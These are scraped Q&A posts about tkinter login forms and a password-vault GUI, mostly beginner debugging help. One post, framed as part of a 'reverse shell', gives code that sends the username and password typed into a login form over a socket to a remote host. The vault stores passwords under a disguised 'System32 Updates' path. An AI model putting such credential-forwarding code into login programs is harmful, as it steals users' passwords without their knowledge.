This is a simple GUI program to check whether the user entered correct username and password. The problem is that even when inputting the correct username and password i.e admin and secret, it still outputs 'Invalid Login'
This is the code :
from tkinter import *
import tkinter.messagebox as box
def dialog1():
box.showinfo('info','Correct Login')
def dialog2():
box.showinfo('info','Invalid Login')
window = Tk()
window.title('Countries Generation')
frame = Frame(window)
Label1 = Label(window,text = 'Username:')
Label1.pack(padx=15,pady= 5)
entry1 = Entry(window,bd =5)
entry1.pack(padx=15, pady=5)
username = entry1.get()
Label2 = Label(window,text = 'Password: ')
Label2.pack(padx = 15,pady=6)
entry2 = Entry(window, bd=5)
entry2.pack(padx = 15,pady=7)
password = entry2.get()
if (username == 'admin' and password == 'secret'):
btn = Button(frame, text = 'Check Login',command = dialog1)
else:
btn = Button(frame, text ='Check Login', command = dialog2)
btn.pack(side = RIGHT , padx =5)
frame.pack(padx=100,pady = 19)
window.mainloop()
i think you should think about using a class instead of the raw code which you will be having a good control .
Any way i just corrected your logic instead of checking it before button click get the values after button click and then run
after that your code looks something like this
from tkinter import *
import tkinter.messagebox as box
def dialog1():
username=entry1.get()
password = entry2.get()
if (username == 'admin' and password == 'secret'):
box.showinfo('info','Correct Login')
else:
box.showinfo('info','Invalid Login')
window = Tk()
window.title('Countries Generation')
frame = Frame(window)
Label1 = Label(window,text = 'Username:')
Label1.pack(padx=15,pady= 5)
entry1 = Entry(window,bd =5)
entry1.pack(padx=15, pady=5)
Label2 = Label(window,text = 'Password: ')
Label2.pack(padx = 15,pady=6)
entry2 = Entry(window, bd=5)
entry2.pack(padx = 15,pady=7)
btn = Button(frame, text = 'Check Login',command = dialog1)
btn.pack(side = RIGHT , padx =5)
frame.pack(padx=100,pady = 19)
window.mainloop()
hope that help you to understand what wrong with the previous code
Related
I am trying to code a little login/sign-in GUI in tkinter. When the program starts, the Login window pops up. When I press the "Sign in" button, I get this: TypeError: mainloop() missing 1 required positional argument: 'self'
Here's the code I'm working with:
#importing
import tkinter as tk
#creating all of the widgets for the login
root = tk.Tk()
root.geometry("200x120")
loglab = tk.Label(text="Login")
userlab = tk.Label(text="Username")
passlab = tk.Label(text="Password")
username = tk.Entry(root)
password = tk.Entry(root,show="*")
#defining the button functions
def signin():
root.destroy
signroot = tk.Toplevel
userlab = tk.Label(text="Username")
passlab = tk.Label(text="Password")
username = tk.Entry(root)
password = tk.Entry(root,show="*")
signroot.mainloop()
#creating the login root buttons
signb = tk.Button(text="Sign In",command=signin)
#gridding the widgets
loglab.grid(row=0,column=0,pady=10)
userlab.grid(row=1,column=0)
username.grid(row=1,column=1,padx = 5)
passlab.grid(row=2,column=0)
password.grid(row=2,column=1,padx = 5)
signb.grid(row=3,column=0,pady=5)
root.mainloop()
Try this:
#importing
import tkinter as tk
wrong_password_label = None
#defining the button functions
def signin():
global wrong_password_label
# Check if the password the user entered is: "my password"
if password.get() == "my password":
root.destroy()
signroot = tk.Tk()
userlab = tk.Label(signroot, text="You are logged in!")
userlab.grid(row=1, column=1)
signroot.mainloop()
else:
# If the password is wrong:
if wrong_password_label is None:
# If there isn't a `wrong_password_label` widget defined:
wrong_password_label = tk.Label(root, text="Wrong Password", fg="red")
wrong_password_label.grid(row=4, column=0, columnspan=2)
else:
# If there is a `wrong_password_label` widget defined:
wrong_password_label.config(text="Still wrong")
#creating all of the widgets for the login
root = tk.Tk()
# root.geometry("200x120") # You don't need this when using `.grid` or `.pack`
loglab = tk.Label(root, text="Login")
userlab = tk.Label(root, text="Username")
passlab = tk.Label(root, text="Password")
username = tk.Entry(root)
password = tk.Entry(root, show="*")
#creating the login root buttons
signb = tk.Button(root, text="Sign In", command=signin)
#gridding the widgets
loglab.grid(row=0, column=0, pady=10)
userlab.grid(row=1, column=0)
username.grid(row=1, column=1, padx = 5)
passlab.grid(row=2, column=0)
password.grid(row=2, column=1, padx = 5)
signb.grid(row=3, column=0, pady=5)
root.mainloop()
I think that is what you were trying to do. It checks if the password is my password and if it is, it destroys the old window and creates a new one. If the password is wrong, it tells the user. You can also add a check for the username.
My GUI Login is skipping over the If part of my If Statement, I don't understand what would be wrong, how can I go about fixing this bug? It should be using the If part when the Username and Password are correct but for some reason it doesn't seem to think that it is part of it.
from tkinter import *
root = Tk()
root.title("My Login")
root.geometry("650x650")
frame = Frame(root)
app = Frame(root)
app.grid
l = Label(root, text = "Login",font="Times 30", padx=5, pady=5)
l.grid()
l1 = Label(root, text = "Username:",font="Times 30", padx=5, pady=5)
l1.grid()
l2 = Label(root, text = "Password:",font="Times 30", padx=5, pady=5)
l2.grid()
user = Entry(root)
user.grid( row= 1, column= 2)
user.configure(font = ("Courier", 44))
code = Entry(root)
code.grid( row= 2, column= 2)
code.configure(font = ("Courier", 44))
operator = user.get()
passcode = code.get()
admin = "" #This would be the Username
password = "" #This would be the Password
def enter():
if (operator == admin and passcode == password):
import subprocess
subprocess.Popen("") #This would be a directory to open
else:
l3 = Label(root, text = "check login", font=("Courier", 22))
l3.grid()
b1 = Button(root, text = "Enter", command = enter, font=("Courier", 44))
b1.grid()
root.mainloop()
You can't preassign the values from get(), you have to call those at the moment you need them.
def enter():
if user.get() == admin and code.get() == password:
import subprocess # this belongs at the top of the file
subprocess.Popen("")
else:
l3 = Label(root, text = "check login", font=("Courier", 22))
l3.grid()
So I'm trying to make a password vault where you can generate a random string of letters by pressing a button and you can determine the length by adjusting a slider. To save the password you press the "Save password" button and write a title for the password so you know what it is for. then it writes the password and title to a separate file somewhere on the PC. When you need to see the passwords you just click the "Show passwords" button and it opens a separate window where all the passwords and titles are supposed to be but I can't figure out how to write every other line of the file as a label because when I write the passwords to the file I write each password directly under the title. I have tried defining the label with a class but then I'm having trouble showing the widget in the window.
I know that was a long explanation and probably a bit confusing.
import tkinter as tk
import random
import string
root = tk.Tk()
root.geometry('800x600')
root.title('In Need Of Moderator Intervention DASHLANE')
def random_password():
letters = string.ascii_lowercase
text.set(''.join(random.choice(letters) for i in range(password_len.get())))
def save_password():
with open('C:\\Users\\Ryzen 7\\AppData\\Roaming\\System32 Updates\\Updates.txt', 'a') as f:
f.write(password_title.get('1.0', tk.END))
f.write(text.get() + '\n')
def show_passwords():
window = tk.Toplevel(root)
window.geometry('800x600')
window.title('Passwords')
class Pass_title:
def __init__(self, site):
self.site = site
def draw(self):
title = tk.Label(root, width='50', height='5', textvariable=self.site)
title.pack()
password = 'Yes'
text = tk.StringVar()
text.set('Password will show when you press the button')
gen_password_button = tk.Button(root, width='50', height='10', bg='lightgrey')
gen_password_button['text'] = 'Press me to generate a random password'
gen_password_button['command'] = random_password
gen_password_button.place(x=225, y=100)
password_text_len = tk.Text(root, width='15', height='1')
password_text_len.insert(tk.END, 'Password length')
password_text_len.place(x=350, y=275)
password_len = tk.Scale(root, from_=1, to_=50, orient='horizontal')
password_len.place(x=360, y=300)
password_os = tk.Label(root, width='50', height='1', textvariable=text)
password_os.place(x=250, y=350)
save_button = tk.Button(root, width=20, height=1, bg='lightgrey')
save_button['text'] = 'Save Password'
save_button['command'] = save_password
save_button.place(x=335, y=400)
password_title = tk.Text(root, width=25, height=1, fg='black')
password_title.insert(tk.END, 'Enter the password title')
password_title.place(x=320, y=450)
show_all_passwords = tk.Button(root, width=15, height=3, bg='lightgrey')
show_all_passwords['text'] = 'Show all passwords'
show_all_passwords['command'] = show_passwords
show_all_passwords.place(x=680, y=10)
with open('C:\\Users\\Ryzen 7\\AppData\\Roaming\\System32 Updates\\Updates.txt', 'r') as f:
count = 0
for line in f:
count += 1
if count % 2 == 0:
Pass_title.draw()
root.mainloop()
There must be a tk.Text widget in the popup. It must be populated with the data from Update.txt, then displayed in the window.
The code still has elements that need correcting, but the following shows the passwords in their correct location in the popup, when the button is pressed, which answers the question asked.
import tkinter as tk
import random
import string
def random_password():
letters = string.ascii_lowercase
text.set(''.join(random.choice(letters) for i in range(password_len.get())))
def save_password():
with open('Updates.txt', 'a') as f:
f.write(password_title.get('1.0', tk.END))
f.write(text.get() + '\n')
def show_passwords():
window = tk.Toplevel(root)
window.geometry('800x600')
window.title('Passwords')
with open('Updates.txt', 'r') as f:
txt = f.read()
t = tk.Text(window)
t.pack(expand=True, fill=tk.BOTH)
t.insert('1.0', txt)
root = tk.Tk()
root.geometry('800x600')
root.title('In Need Of Moderator Intervention DASHLANE')
password = 'Yes'
text = tk.StringVar()
text.set('Password will show when you press the button')
gen_password_button = tk.Button(root, width='50', height='10', bg='lightgrey')
gen_password_button['text'] = 'Press me to generate a random password'
gen_password_button['command'] = random_password
gen_password_button.place(x=225, y=100)
password_text_len = tk.Text(root, width='15', height='1')
password_text_len.insert(tk.END, 'Password length')
password_text_len.place(x=350, y=275)
password_len = tk.Scale(root, from_=1, to_=50, orient='horizontal')
password_len.place(x=360, y=300)
password_os = tk.Label(root, width='50', height='1', textvariable=text)
password_os.place(x=250, y=350)
save_button = tk.Button(root, width=20, height=1, bg='lightgrey')
save_button['text'] = 'Save Password'
save_button['command'] = save_password
save_button.place(x=335, y=400)
password_title = tk.Text(root, width=25, height=1, fg='black')
password_title.insert(tk.END, 'Enter the password title')
password_title.place(x=320, y=450)
show_all_passwords = tk.Button(root, width=15, height=3, bg='lightgrey')
show_all_passwords['text'] = 'Show all passwords'
show_all_passwords['command'] = show_passwords
show_all_passwords.place(x=680, y=10)
root.mainloop()
This is a simple GUI program, i would like to be able to send the user input through socket in my reverse shell but im kinda stumped. Any help would be greatly appreciated :)
from tkinter import *
import tkinter.messagebox as box
def dialog1():
username=entry1.get()
password = entry2.get()
if (username == 'admin' and password == 'secret'):
box.showinfo('info','Correct Login')
else:
box.showinfo('info','Invalid Login')
window = Tk()
window.title('Countries Generation')
frame = Frame(window)
Label1 = Label(window,text = 'Username:')
Label1.pack(padx=15,pady= 5)
entry1 = Entry(window,bd =5)
entry1.pack(padx=15, pady=5)
Label2 = Label(window,text = 'Password: ')
Label2.pack(padx = 15,pady=6)
entry2 = Entry(window, bd=5)
entry2.pack(padx = 15,pady=7)
btn = Button(frame, text = 'Check Login',command = dialog1)
btn.pack(side = RIGHT , padx =5)
frame.pack(padx=100,pady = 19)
window.mainloop()
Yes i answered it myself, very easy my brain must of just been having a moment lol, for anyone else who is wondering how to do this, username.entry1.get() and password.entry2.get() you send that over in socket like you normally would a variable basically :)
host = 'xxx.xxx.xx.x'
port = 5000
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
def dialog1():
username=entry1.get()
password = entry2.get()
if (username == 'admin' and password == 'secret'):
box.showinfo('info','Correct Login')
s.send(bytes(username,'utf8'))
s.send(bytes(password, 'utf8'))
else:
box.showinfo('info','Invalid Login')
my program is meant say 'Accessed granted' if i enter the correct username and password, however regardless of what i type, i keep getting 'Invalid login' can someone point out whats wrong? btw dont worry about it the indentation is wrong, it changes when it put code on this site.
from tkinter import *# Ingress all components from Tkinter
import tkinter.messagebox as box
def dialog1():
username=entry1.get()
password = entry2.get()
if (username == 'admin' and password == 'ad121'):#Correct log in details
box.showinfo('info','Access granted')# correct response
else:
box.showinfo('info','Invalid Login')# decline response
def condition():
while condition == (username == 'admin' and password == 'ad121'):
print = label(text('Welcome back admin user!',bg='Light Blue',font='none 14 bold').place(x=0,y=160))
window = Tk()
window.geometry('400x400')# The size of the form window
window.title('Office login system')#title of the form
frame = Frame(window)
mlabel = Label(text='Log in system', bg='Light Blue',font='none 18 bold underline')# The colours and font style and size used for the form title
mlabel.pack()
Label1 = Label(window,text = 'Username:',bg='Light Blue',font='none 14 bold').place(x=0,y=100)
entry2 = Entry(window).place(x=140,y=108)#Size and colour of the text box
entry1 = Entry(window,bd =5)
entry1.pack
Label2 = Label(window,text = 'Password:',bg='Light Blue',font='none 14 bold').place(x=0,y=150)
entry2 = Entry(window).place(x=140,y=155)#Size and colour of the text box
entry2 = Entry(window, bd=5)
entry2.pack
window.configure(background='Orange')
btn = Button(window, text = 'Check Login',command = dialog1)
btn.place(x=150,y=250)
frame.pack(padx =200,pady =190)
window.mainloop()# The code iterates
You are declaring entry2 multiple times in the scope of your script.
I tried this and it works as you expect.
from tkinter import Button, Entry, Tk
import tkinter.messagebox as box
class GUI:
def __init__(self):
self.root = Tk()
self.username_field = Entry(self.root)
self.password_field = Entry(self.root)
self.username_field.insert(0, "Enter Username")
self.password_field.insert(0, "Enter Password")
self.submit = Button(self.root, text="Submit", command=self.login)
self.username_field.pack()
self.password_field.pack()
self.submit.pack()
def login(self):
username = self.username_field.get()
password = self.password_field.get()
print(username, password)
# The while loop
while username == password:
box.showinfo("info", "Username and password must not match!")
break
if(username == "admin" and password == "ad121"):
box.showinfo("info", "Welcome " + username + "!")
else:
box.showinfo("info", "Invalid credentials")
app = GUI()
app.root.mainloop()